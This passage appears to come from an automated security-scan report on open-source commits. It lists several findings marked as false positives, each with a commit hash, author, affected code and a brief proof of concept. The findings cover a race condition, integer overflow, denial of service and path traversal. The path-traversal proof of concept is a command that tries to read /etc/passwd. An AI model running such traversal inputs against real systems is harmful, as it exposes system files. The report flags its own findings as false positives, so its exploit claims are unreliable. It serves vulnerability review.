  <FolderOwners ownerReferences={folderDTO.ownerReferences} />
)}

Proof of Concept

1. Create a user account without admin privileges but with 'teams:read' permission
2. Navigate to a team folder that has owner references
3. Before patch: Owner information is hidden
4. After patch: Owner information is now visible, disclosing team membership and folder ownership data that was previously restricted to admins only

⚠️ MEDIUM FALSE POSITIVE Race Condition / Optimistic Locking Bypass

Commit: 57b75b4a3b9ea631f957bf86db01de672a17d2b5

Author: Will Assis

The code had a race condition in optimistic locking implementation where concurrent operations could bypass resource version checks. The original implementation would rollback changes after transaction commit, creating a window where conflicting writes could succeed simultaneously. The patch fixes this by performing conflict detection during the transaction using proper WHERE clauses with resource version constraints.

🔍 View Affected Code & PoC

Affected Code

DELETE FROM resource
WHERE group = ? AND resource = ? AND namespace = ? AND name = ?;
-- Missing resource_version check in WHERE clause

Proof of Concept

1. Client A reads resource with RV=100
2. Client B reads same resource with RV=100
3. Client A updates resource (RV becomes 101)
4. Client B deletes resource using old RV=100
5. Both operations succeed due to missing RV constraint in DELETE/UPDATE queries, allowing Client B to delete a resource that was modified after they read it, violating optimistic concurrency control

⚠️ MEDIUM FALSE POSITIVE Integer Overflow / Denial of Service

Commit: 9a2113cb9b9d93719f94372814193170335b87ed

Author: Luke Sandberg

The code incorrectly used max() instead of min() to clamp worker counts, causing all systems to be treated as having 64+ cores and potentially overflowing usize on systems with many actual cores. This could lead to memory exhaustion or application crashes.

🔍 View Affected Code & PoC

Affected Code

let num_workers = num_workers.max(64);
(num_workers * num_workers * 16).next_power_of_two()

Proof of Concept

On a system with a large number of cores (e.g., 10000), the calculation becomes: (10000 * 10000 * 16).next_power_of_two() = 1,600,000,000.next_power_of_two() = 2,147,483,648, which exceeds usize limits on 32-bit systems and causes massive memory allocation attempts leading to DoS.

⚠️ MEDIUM FALSE POSITIVE Denial of Service

Commit: 2dd9b7cf76c31df5d7e26e5199e3c362c3e94f95

Author: Jimmy Lai

The code incorrectly checked for debugChannel existence instead of debugChannelReadable, causing the server to signal debug info availability even with write-only channels. This could cause clients to block indefinitely waiting for debug data that never arrives, resulting in a denial of service condition.

🔍 View Affected Code & PoC

Affected Code

debugChannel !== undefined,

Proof of Concept

// Server-side: Pass a write-only debug channel (no readable side)
const { Writable } = require('stream');
const writeOnlyChannel = new Writable({ write() {} });
renderToPipeableStream(component, { debugChannel: writeOnlyChannel });
// Client will now block forever waiting for debug data that cannot be read

⚠️ MEDIUM FALSE POSITIVE Integer Division by Zero / Panic-based DoS

Commit: 6dfcffe1cfb375363674723182b1a5d5c2894ea9

Author: Niklas Mischkulnig

The code performed integer division without checking for division by zero, which could cause a panic and crash the application. The patch replaces direct division with checked_div() to handle zero divisors safely.

🔍 View Affected Code & PoC

Affected Code

if max_chunk_count_per_group != 0 {
    chunks_to_merge_size / max_chunk_count_per_group
} else {
    unreachable!();
}

Proof of Concept

Set max_chunk_count_per_group to 0 through configuration or input parameters. When make_production_chunks() is called with this configuration, the division chunks_to_merge_size / max_chunk_count_per_group will cause a panic, crashing the Turbopack bundler and causing a denial of service.

⚠️ MEDIUM FALSE POSITIVE Denial of Service (Stack Overflow)

Commit: cf993fb457417e0f20535b1fd42c3f45df966583

Author: Hendrik Liebau

The recursive traversal of async node chains in visitAsyncNode causes stack overflow when processing deep async sequences. Database libraries creating long linear chains of async operations can trigger this DoS condition. The patch converts recursive traversal to iterative to prevent stack exhaustion.

🔍 View Affected Code & PoC

Affected Code

function visitAsyncNode(...) {
  if (visited.has(node)) {
    return visited.get(node);
  }
  visited.set(node, null);
  const result = visitAsyncNodeImpl(request, task, node, visited, cutOff);

Proof of Concept

// Create a deep chain of async sequences (10000+ levels)
let current = null;
for (let i = 0; i < 10000; i++) {
  current = { previous: current, end: -1 };
}
// This deep chain will cause stack overflow in visitAsyncNode
// when React Flight processes the async node traversal

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 3ce1316b05968d2a8cffe42a110f2726f2c44c3e

Author: Joseph Savona

The code had improper path resolution that allowed attackers to access files outside the intended directory structure. The patch fixes relative path resolution by properly normalizing paths relative to PROJECT_ROOT instead of allowing arbitrary relative paths from the current working directory.

🔍 View Affected Code & PoC

Affected Code

const inputPath = path.isAbsolute(opts.path)
  ? opts.path
  : path.resolve(process.cwd(), opts.path);

Proof of Concept

yarn snap compile ../../../etc/passwd